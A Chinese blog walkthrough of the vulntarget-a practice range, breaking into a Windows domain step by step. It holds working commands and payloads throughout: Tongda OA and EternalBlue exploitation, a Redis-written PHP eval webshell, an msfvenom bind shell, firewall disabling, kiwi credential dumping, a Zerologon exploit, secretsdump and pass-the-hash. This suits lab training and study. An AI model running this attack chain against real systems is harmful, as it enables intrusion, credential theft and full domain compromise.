vultarget-a红日靶场全面解析(完整版)
Posted 问心彡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vultarget-a红日靶场全面解析(完整版)相关的知识,希望对你有一定的参考价值。
简介
vultargeta靶场是星期五实验室公众号发布的自行设计靶场,其中涵盖了WEB渗透、主机漏洞、域漏洞、工控漏洞等等。
此靶场使用
网络结构
其靶场网络结构为
- kali : 桥接模式
- win7: 双网卡—桥接模式,卡2仅主机模式
- win2019: VMnet19仅主机模式
- win2016: 双网卡— VMnet18仅主机模式 ,VMnet19仅主机模式
win7主机通过NAT与kali机出于同一网段,且通过VMnet18接入内网与win2016VM18网卡进行通信,win2016通过网卡2VM19与DC机进行通信
信息搜集
扫描同一网段下主机ip地址
arp-scan -l
128为本机地址,131为win7主机ip
nmap -sS -sV 192.168.111.131
nmap扫描目标主机.注意:windows防火墙开启状态默认不允许ping检测,而linux默认是支持的,所以使用nmap探测时应使用TCP的SYN进行探测
根据结果可以看出目标主机开启80端口和445端口,访问网站
通过访问目标主机网站,可以发现该靶场使用到了通达OA系统,百度百科上这么写这:
通达OA概述与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限。 Office Anywhere采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。
WIN7漏洞利用
通达OA利用工具+中国蚁剑
上面端口扫描时发现目标机器开启445端口,首先想到利用永恒之蓝漏洞,稍后利用,先使用通达OA工具尝试攻击
点击通达OA工具可以进行下载
为了方便我将该工具源码打包成jar方便kali执行
java -jar TDOA_RCE-master.jar
首先打开通达OA工具后目标地址为靶场对外主机win7的外网ip,获取Cookie按钮后下方栏中会显示通达OA任意用户登录测试得到的Cookie一键利用,工具会自动在http://192.168.1.109/FRSJFIL.php生成木马并提供密码
*******
当前通达OA版本为: 11.3
正在尝试利用任意用户登录漏洞获取Cookie...
poc1利用成功
已自动填充
*******
正在尝试利用本地文件包含漏洞...
利用成功
SHELL如下:
http://192.168.111.131/VPMHKQF.php
密码:x
中国蚁剑直接连接
成功连接
进入命令端
whoami
永恒之蓝漏洞利用
在信息搜集环节,我们是发现被攻击主机开启443端口,所以我会想到利用永恒之蓝漏洞进行一次渗透
- kali机打开msfconsole
- use exploit/windows/smb/ms17_010_eternalblue
- set rhosts 192.168.111.131
- run
成功得到通道!并且为system权限
自动迁移进程,稳固连接
run post/windows/manage/migrate
输入shell 进入控制台
chcp 65001
修改控制台编码,默认进入shell有些字符会乱码
结果信息可以看出该主机使用两张网卡,其中网卡2接入内网
查看是否存在域情况 net time /domain (同步域的时间,通过该命令返回的结果是否正常执行来判断是否存在域)
报错,该主机并未加入到域中,arp -a查看当前网段内其他主机信息
结果可以看出网卡10.0.20.98网段下有一个10.0.20.99的主机
添加路由表
win7机带有两块网卡,当kali攻击机与win7建立通信后,无法跨网段访问发送数据包到另一块网卡上,所以需要添加路由,指定下一跳的路由为另一块网卡的地址,这样便可以借助win7作跳板机操控服务器
既然已经拿到了system权限的session,那么下一步就需要设置一个路由并配置代理,方便我们从攻击机来访问内网10.0.20.xxx网段的主机
use post/multi/manage/autoroute
set session 1
run
添加后进入session中查看路由添加情况
sessions -i 1 # session会话id可以通过 sessions来查看
run autoroute -p
添加成功,继续添加代理
use auxiliary/server/socks_proxy
options
set version 4a
run
sessions -i
socks_proxy代理版本有4a和5这里我选择的是4a,socks5比4a多支持了一些协议如UDP、IPV6等,4a可以做的5也可以做到,有兴趣网上看看两者区别
jobs # 查看代理列表
修改/etc/proxychains4.conf
,最后一行添加
socks4 0.0.0.0 1080
此文件为proxychains的配置文件,要与msf的options配置信息保持一致,否则是无法正常使用proxychains进行代理访问的
内网渗透
在拿到win7shell以后,通过添加路由和代理的方式使访问的请求可以进入内网网段,因为添加了代理socket 4a,通过proxychains可以使不支持代理的软件通过配置的1080端口通过win7添加的路由到内网主机。
proxychains
在linux中很多软件是不支持代理的。proxychains可以让这些软件走上代理通道,支持SOCKETS 4a、SOCKETS 5、HTTP、HTTPS
在linux中,/etc/proxychains4.conf
文件中可以配置代理的端口和ip地址,上面配置中在use auxiliary/server/socks_proxy
下的options中有一个参数SRVPORT默认端口为1080
,ip为0.0.0.0
,意味着msf监听来自任意ip1080端口数据,所以需要配置/etc/proxychains4.conf
发送的目标端口也为1080,这样可以索引软件数据通过1080端口让msf接受到并转发到内网中
proxychains nmap -Pn -sT 10.0.20.99 -p 80,6379,8080,7001,139,22,23,3389,443,8089,3306,5432,53,67,21,20,25,1433,1512
这里只枚举了一些常用的端口,当然也可以全端口扫描,但是时间很慢,所以就挑选了一些常用端口进行探测
根据探测结果发现目标主机开启了80端口和6379redis服务,使用
proxychains firefox #注意命令不能在root用户下执行,切换到kali
通过proxychains代理打开firefox火狐浏览器尝试访问该网站
成功访问到内网网站,扫一下后台目录
proxychains dirbuster #进行文件扫描
因为通过代理去进行的目录扫描,所以时间会很长,但这里还是成功扫出几个文件
通过代理浏览器访问
php探针,在访问l.php发现了意外的惊喜,将网站的所有信息都呈现出来,包括版本号、phpstudy绝对路径,组件、相关参数等等。了解到网站信息后开始接下来的操作
redis未授权访问
在使用proxychains做端口扫描时发现是开启了6379端口
proxychains redis-cli -h 10.0.20.99
无密码成功登录,那么既然已经有了网站的绝对路径,通过redis向该目录下写文件木马
proxychains redis-cli -h 10.0.20.99
CONFIG SET dir "C:/phpStudy/PHPTutorial/WWW/"
CONFIG SET dbfilename conf.php
set 1 "<?php @eval($_POST['aa']);?>"
save
成功将文件写进了网站根目录,这个安全配置属实舒服,密码没加还有写文件权限,极度危险,接下来蚁剑进行连接,但是注意因为此时操作内网主机,中国蚁剑是无法直接跨越跳板机连接到内网,需要为中国蚁剑设置代理
- 代理协议SOCKS4
- ip:kali主机ip
- 端口1080
添加 http://10.0.20.99/conf.php,成功连接到内网主机,将其
system权限用户
- 主机win2016
- 域名vulntarget.com
- 网卡两块
- 另一块网卡ip地址 10.0.10.111
- DNS地址10.0.10.110
上线win2016
获取win7shell之后,我们为他加了路由和代理,同时有win2016的蚁剑连接,拿win2016的shell,创建正向马,并通过代理监听
msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f exe > 6666.exe
生成木马以后通过上面的蚁剑连接上传到win2016,并在命令行处执行,由于win2016开启防火墙,win7不能直接访问,所以还要添加一条6666的策略,或者直接关掉防火墙
netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=6666 action=allow
#或者
netsh advfirewall set allprofiles state off #直接关闭防火墙
通过代理启动msf,注意只有通过代理才能使流量正向到内网win2016上,
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
run
成功获得shell,且为system用户
kiwi查看账户密码
load kiwi
creds_all
有密码Admin#123
run post/multi/manage/autoroute #接着创建路由
arp -a 查看内网有无其他主机
这里是看到了10.0.10.110这台主机.因为上面我们是有看到他的根域名是vulntarget.com
,查看域控计算机名
net group "domain controllers" /domain
WIN2019,继续枚举域控信息
run post/windows/gather/enum_domain
定位到域控的ip地址,正是10.0.10.110,仅有这么一台,arp -a
命令我们已经看到,且计算机名WIN2019,与上一步类似,添加代理,使kali主机能够访问到域控
use auxiliary/server/socks_proxy
set version 4a
set srvport 1081
options
run
在配置文件中最后一行追加
socks4 0.0.0.0 1081
第一个为kali主机访问代理端口1080将数据发送到win2016主机,第二个其实是在基于1080继续访问代理端口1081来访问域控主机的
CVE-2020-1472利用
CVE-2020-1472影响win server2008r到win2019多个操作系统版本,只需要得到域控的用户名且能够访问到目标域控,漏洞不需要主机在域环境下,原理是通过将目标域控密码置空,根据获取的凭得到域管理员的权限。
因为拿到的是域成员,提权域控有几种常见方法,废话不多说,直接使用CVE-2020-1472,准备两个工具包:
git clone https://github.com/dirkjanm/CVE-2020-1472.git
git clone https://github.com/SecureAuthCorp/impacket.git
下载完成后,利用用cve-2020-1472漏洞将域控密码置空
proxychains4 python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110
使用secretsdump.py
尝试获取administrator域控的hash值,此文件在impacket/examples目录下
proxychains4 python3 secretsdump.py vulntarget.com/WIN2019\\$@10.0.10.110 -just-dc -no-pass
成功获取
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
相同目录下使用smbexec.py
拿域控shell
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110
成功,权限为system,开启远程桌面端口,防火墙放行3389
REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
成功搞定,还有少了一步,破解域控密码,远程登录需要的密码,我们已经掌握了hash值,通过john工具破开
将hash值放入文件中
搞定
远程连接
proxychains rdesktop 10.0.10.110
用户名: VULNTARGET\\Administrator
密码: Admin@666
激动地心颤抖的手
完成!!!如果需要shell可以上传木马程序到域控,通过msf监听
总结
这是一次完全的渗透过程,从对外开放的主机开放的通达OA系统漏洞和永恒之蓝漏洞进入第一层主机,并利用其作为跳板机,渗透第二层存在有redis未授权访问的漏洞,在根据添加路由和代理的方式成功拿到最高权限的shell,最终攻击到域控,从web渗透,到横向渗透最后到掌握域控,中间出现过很多的问题,比如通道死机,无法连接,木马程序停止在目标机运行等状况,是一次很好的体验
以上是关于vultarget-a红日靶场全面解析(完整版)的主要内容,如果未能解决你的问题,请参考以下文章